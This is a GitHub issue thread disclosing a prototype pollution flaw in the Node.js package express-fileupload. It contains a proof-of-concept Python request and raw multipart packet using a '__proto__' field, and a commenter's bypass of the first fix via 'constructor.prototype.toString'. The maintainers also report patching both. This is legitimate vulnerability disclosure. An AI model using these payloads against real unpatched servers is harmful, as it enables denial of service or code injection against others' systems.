

New issue

[Jump to bottom](#)

Prototype Pollution #236

🔒 Closed

po6ix opened this issue on Jul 28, 2020 · 5 comments · Fixed by #237

Assignees



po6ix commented on Jul 28, 2020

This module has prototype pollution vulnerability and it can make DOS with parseNested option.

server

```
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.get('/', (req, res) => {
  res.end('express-fileupload poc');
});

app.listen(7777)
```

exploit

```
import requests

res = requests.post('http://p6.is:7777', files = {'__proto__': 'express-fileupload poc'});
```

raw packet

```
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=-----1566035451
Content-Length: 137

-----1566035451
Content-Disposition: form-data; name="__proto__"; filename="filename"

content
-----1566035451--
```

Full description is in here
<https://blog.p6.is/Real-World-JS-1/>

👍 4

richardgirges self-assigned this on Jul 29, 2020

richardgirges mentioned this issue on Jul 29, 2020

Fix prototype pollution issue in processNested #237

🔗 Merged

richardgirges closed this as completed in #237 on Jul 29, 2020

richardgirges commented on Jul 29, 2020

Owner

Thanks for reporting this. Fix has been applied and published to NPM: <https://github.com/richardgirges/express-fileupload/releases/tag/1.1.8>

securityMB commented on Jul 31, 2020

@richardgirges The fix can be bypassed. Instead of referencing `__proto__.toString`, one can reference `constructor.prototype.toString`.

👍 2

richardgirges commented on Jul 31, 2020

Owner

Thanks @securityMB - it has been fixed and a second deprecation notice has been posted on NPM for all prior versions.

ghost commented on Aug 4, 2020

<https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/> They just announced in the news about this today.. yet you claim to have fixed it 5 days ago.. love how far the news is behind on this.. thanks for the quick fix of this issue! Someone should contact the news folks..



richardgirges commented on Aug 4, 2020

Owner

Thanks for the heads up on this @naraphox

  AmazingMech2418 mentioned this issue on Aug 5, 2020

#236 Not Completely Fixed #239

 Closed

  mend-bolt-for-github  mentioned this issue on Aug 26, 2020

CVE-2020-7699 (High) detected in express-fileupload-1.0.0.tgz OSWeekends/batimagen#81

 Open

  mend-bolt-for-github  mentioned this issue on Sep 8, 2020

CVE-2020-7699 (High) detected in express-fileupload-0.0.5.tgz chaitanya00/aem-wknd#65

 Open

  mend-for-github-com  mentioned this issue on Nov 19, 2020

CVE-2020-7699 (High) detected in express-fileupload-1.1.6.tgz - autoclosed royavrahamy/goof#24

 Closed

 This was referenced on Dec 1, 2020

CVE-2020-7699 (High) detected in express-fileupload-0.0.5.tgz genignored/goof#24

 Open

CVE-2020-7699 (High) detected in express-fileupload-0.0.5.tgz tomddl397/goof#105

 Open

 This was referenced on Jan 18, 2021

CVE-2020-7699 (High) detected in express-fileupload-0.4.0.tgz metnew-gr/dvna#16

 Open

CVE-2020-7699 (High) detected in express-fileupload-0.4.0.tgz metnew-gr/dvnareal#16

 Open

 This was referenced on Mar 7, 2021

Bump express-fileupload from 1.1.7-alpha.3 to 1.1.10 WorldViews/FlowerGarden#6

 Open

Bump express-fileupload from 1.1.6 to 1.1.10 in /backend Sollunad/RaidOrgaPlus#440

 Open

Bump express-fileupload from 1.1.6 to 1.1.10 olololoe110399/server_fpoly_shop#3

 Closed

Bump express-fileupload from 1.1.7-alpha.3 to 1.1.10 gergoszaszvaradi/greyboard#3

 Closed

 This was referenced on Mar 18, 2021

Bump express-fileupload from 1.1.6 to 1.1.10 praburocking/nodetemplateserver#3

 Open

build(deps): bump express-fileupload from 0.0.5 to 1.1.10 guypod/goof#197

 Open

  mend-for-github-com  mentioned this issue on Apr 20, 2021

CVE-2020-7699 (High) detected in express-fileupload-0.4.0.tgz - autoclosed joshnewton31080/dvna#15

 Closed

  mend-for-github-com  mentioned this issue on Aug 19, 2021

CVE-2020-7699 (High) detected in express-fileupload-0.4.0.tgz Tim-Demo/dvna-js#18

 Open

 **mend-for-github-com** (bot) mentioned this issue on Oct 25, 2021

CVE-2020-7699 (High) detected in **express-fileupload-0.4.0.tgz** RG4421/dvna#19

[Open](#)

 **mend-for-github-com** (bot) mentioned this issue on Dec 3, 2021

CVE-2020-7699 (High) detected in **express-fileupload-0.0.5.tgz** samq-ghdemo/js-monorepo#14

[Open](#)

 1 task

 **github-actions** (bot) mentioned this issue on Aug 1

CVE-2020-7699 - high detected in **express-fileupload['0.0.5']** rhicksiii91/goof#280

[Open](#)

Assignees

 richardgirges

Labels

None yet

Projects


None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

 [Fix prototype pollution issue in processNested](#)
richardgirges/express-fileupload

3 participants

